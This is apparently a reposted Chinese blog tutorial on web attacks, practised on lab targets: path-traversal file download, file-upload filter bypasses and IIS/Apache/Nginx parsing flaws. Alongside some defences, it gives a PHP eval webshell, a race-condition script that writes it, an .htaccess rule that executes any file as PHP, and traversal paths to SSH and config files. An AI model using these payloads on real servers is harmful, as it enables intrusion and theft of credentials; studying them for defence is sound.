文件上传下载、中间件

文件下载

有些下载会暴露出下载文件,可通过…/…/来下载到其他内容

原下载链接:http://192.168.17.14/pikachu/vul/unsafedownload/execdownload.php?filename=smallane.png
在’filename='后可进行构造,如:http://192.168.17.14/pikachu/vul/unsafedownload/execdownload.php?filename=…/…/…/…/bWAPP/readme.txt

当存在下载漏洞时,要下载哪些内容?

  • 常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置

  • 各种.log文件,找一些后台地址,文件上传点之类的地方,还有可能找到之前的一些后门

  • web业务文件,进行白盒审计,利用漏洞进一步攻入服务器

    /root/.bash_history看自己是否具有root权限。如果没有的话。我们只能按部就班的利用…/来回跳转读取一些.ssh下的配置信息文件,读取mysql下的.bash_history文件。来查看是否记录了一些可以利用的相关信息。然后逐个下载我们需要审计的代码文件,但是下载的时候变得很繁琐,我们只能尝试去猜解目录,然后下载一些中间件的记录日志进行分析。
    如果生产环境是java+oracle环境,那么
    先下载/WEB-INF/classes/applicationContext.xml 文件--------web服务器的相应配置
    后下载/WEB-INF/classes/xxx/xxx/ccc.class文件-----------对文件进行反编译(工具:Xjad)

防御
(1)过滤".",使用户在url中不能回溯上级目录
(2)正则严格判断用户输入参数的格式
(3)php.ini配置open_basedir限定文件访问范围,只允许下载某个文件夹下的内容

文件上传

  1. 使用script检测
    (1)在浏览器中将输入框中的限制函数去掉即可
    (2)使用burpsuite,先将文件后缀改为可上传类型进行抓包,在burp中将文件后缀改回即可
  2. MIME类型(burpsuite)MIME类似于打开方式,某一文件指定打开方式
    分析:首先会获取到前端的提交请求,然后定义了一个数组(定义图片上传指定类型),然后通过upload_sick函数对上传的文件进行一定的检查。
    分析upload_sick函数存在漏洞的的原因是因为 $ _FILES() 这个全局的方法是通过浏览器http头去获取的content-type,content-type是前端用户可以控制的。容易被绕过。
    绕过:上传一张正常的符合标准的图片,对其content-type进行抓包操作。可见正常上传符合要求的图片中数据包中content-type为image/png对比符合条件,而php文件则不符合条件返回文件类型错误。
    上传正确的内容Content-Type: image/png,上传失败的内容Content-Type: application/octet-stream;将image/png替换到失败的重新发送即可成功上传
  3. 使用getimagesize()函数检测
    防护原理:判断图片十六进制开头数组
    将图片与木马相结合,图片和木马要放在同一位置,图片要放在首位
    D:\scget>copy /b 上传.png + 一句话木马.php 小心.jpg
    图片不能被直接解析,菜刀无法连接图片,需要通过本地包含漏洞或者解析漏洞来利用
  4. 黑名单检测
    .php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|.pHp4|.pHp3|.pHp2|pHp1|.Html|.Htm|.pHtml|.jsp|.jspa|.jspx|.jsw|.jsv|.jspf|.jtml|.jSp|.jSpx|.jSpa|.jSw|.jSv|.jSpf|.jHtml|.asp|.aspx|.asa|.asax|.ascx|.ashx|.asmx|.cer|.aSp|.aSpx|.aSa|.aSax|.aScx|.aShx|.aSmx|.cEr|.sWf|.swf|.htaccess
    (1)文件后缀大小写
    (2)禁用部分后缀的,上传其他后缀类型
    (3)未禁用htaccess的,先上传.htaccess文件,再上传符合要求的文件类型
    任意文件都以PHP文件执行
<FilesMatch "">
SetHandler application/x-httpd-php
</FilesMatch>

(4)利用windows特性绕过。后缀后面加 . 空格 随意组合,有些过滤掉". "的可以多输几个
(5)利用windows问价流特性绕过。
缺少$file_ext = str_ireplace(‘::$DATA‘, ‘‘, $file_ext);//去除字符串::$DATA,将文件名改为xx.php::$DATA发送
(6)双文件名绕过。
当添加str_ireplace()函数后,会过滤php、php5、php4字母,文件名改为xx.phphpp发送

$deny_ext = array("php","php5","php4");
$file_name = str_ireplace($deny_ext,"", $file_name);
  1. 白名单检测
    上传正常文件,修改文件路径 在路径后写入xx.php%00
    php版本小于5.3.4存在;magic_quotes_gpc为OFF状态
  2. 在图片中插入木马copy /b 上传.png + 一句话木马.php 小心.jpg
  3. 利用时间差
    允许上传任意文件,判断文件是否合规,不合规自动删除。利用上传后还未被删除的时候
<?php
$myfile = fopen("new.php", "w");
$txt = "<?php @eval($_POST['yes']) ?>";
fwrite($myfile, $txt);
fclose($myfile);
?>
  1. 上传文件重命名保存,并删除图片中的木马(二次渲染)
  2. 文件名重命名,抓包将内容发送至repeater,快速多次发送
  3. 双写文件绕过
    在这里插入图片描述
    在这里插入图片描述
    黑名单检测中的特殊情况
    利用PHP与windows的特性进行绕过
    先上传一个正常的文件,使用burpsuite抓包,将文件名改xx.php:.jpg发送即可
    如遇上传的文件没有内容则再将文件名改为xx.<发送

各类中间件解析漏洞

IIS5.x-6.x(一般在2003中解析asp文件)
目录解析:当文件夹目录是xx.asp时,该文件内的所有内容都当做asp解析
文件解析:;号后面的内容不解析,xx.asp;.jpg解析为xx.asp
文件类型解析:除了asp文件外,IIS6.0还解析 asa、cer、cdx文件
Apache
原理:从右往左解析,如果后缀不认识就向前解析
xx.php.rar.sdj解析为xx.php
出现该解析漏洞的原因:
(1)Apache未升级
(2)conf.ini文件中存在AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。
(3)conf.ini文件中存在AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。
Nginx(配置不当导致的漏洞)
原理:php.ini文件中配置fix_pathinfo=1时,在url后加/.php即可将其他文件以php来解析
https://www.xxx.com/xx.jpg/.php
修复:配置中加入

if ( $fastcgi_script_name ~ ..*/.*php ) {
return 403;
}

IIS7.5(配置不当导致的漏洞)
原理:php.ini文件中配置fix_pathinfo=1;FastCGI关闭状态。同Nginx

猜你喜欢

转载自blog.csdn.net/zzhokok/article/details/107686238